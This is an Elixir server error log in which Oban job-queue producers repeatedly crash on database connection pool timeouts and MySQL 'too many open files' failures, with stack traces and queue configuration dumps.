State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:39:27.244030Z], limit: 5, uuid: "22ce840a-1c73-445d-8503-f83d90ddc798", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.244035Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69635>, refresh_timer: #Reference<0.2525715032.1077673987.47843>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:39:27.240176Z], limit: 10, uuid: "e97f44b7-2485-452f-bdbf-d3f7f9e99518", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.240181Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69634>, refresh_timer: #Reference<0.2525715032.1099431938.66040>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 809ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:39:27.241691Z], limit: 3, uuid: "6bb5a41c-d30b-4ecd-9603-caab57028ab2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.241697Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69632>, refresh_timer: #Reference<0.2525715032.1121189889.211087>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:39.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1090ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:39:27.239861Z], limit: 50, uuid: "fc6d5416-2e70-409f-9fbe-e96a9d889dd5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.239867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.211117>, refresh_timer: #Reference<0.2525715032.1099431938.66025>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:39.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:39:27.242256Z], limit: 5, uuid: "c936432d-9442-4bc8-92cb-9cee25e4890d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.242262Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.211116>, refresh_timer: #Reference<0.2525715032.1121189889.211093>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:39:27.238871Z], limit: 20, uuid: "f17b2062-bb1d-44d7-882e-0767f2b2036f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:27.238877Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69633>, refresh_timer: #Reference<0.2525715032.1099431938.66032>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:41.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:42.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:47.499000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:48.599000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:39:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 849ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:39:39.239793Z], limit: 3, uuid: "8602a2bb-294c-4917-86e7-86eea2007729", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.239799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69936>, refresh_timer: #Reference<0.2525715032.1121189889.211363>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:39:39.243231Z], limit: 5, uuid: "1e483430-20f2-43c6-97a7-f86a30f1e188", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.243236Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69935>, refresh_timer: #Reference<0.2525715032.1068498948.69919>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:51.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:39:39.243630Z], limit: 20, uuid: "868e2068-37d5-4505-951f-ebed00a9ee75", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:39:39.243636Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.69934>, refresh_timer: #Reference<0.2525715032.1068498948.69918>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:39:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
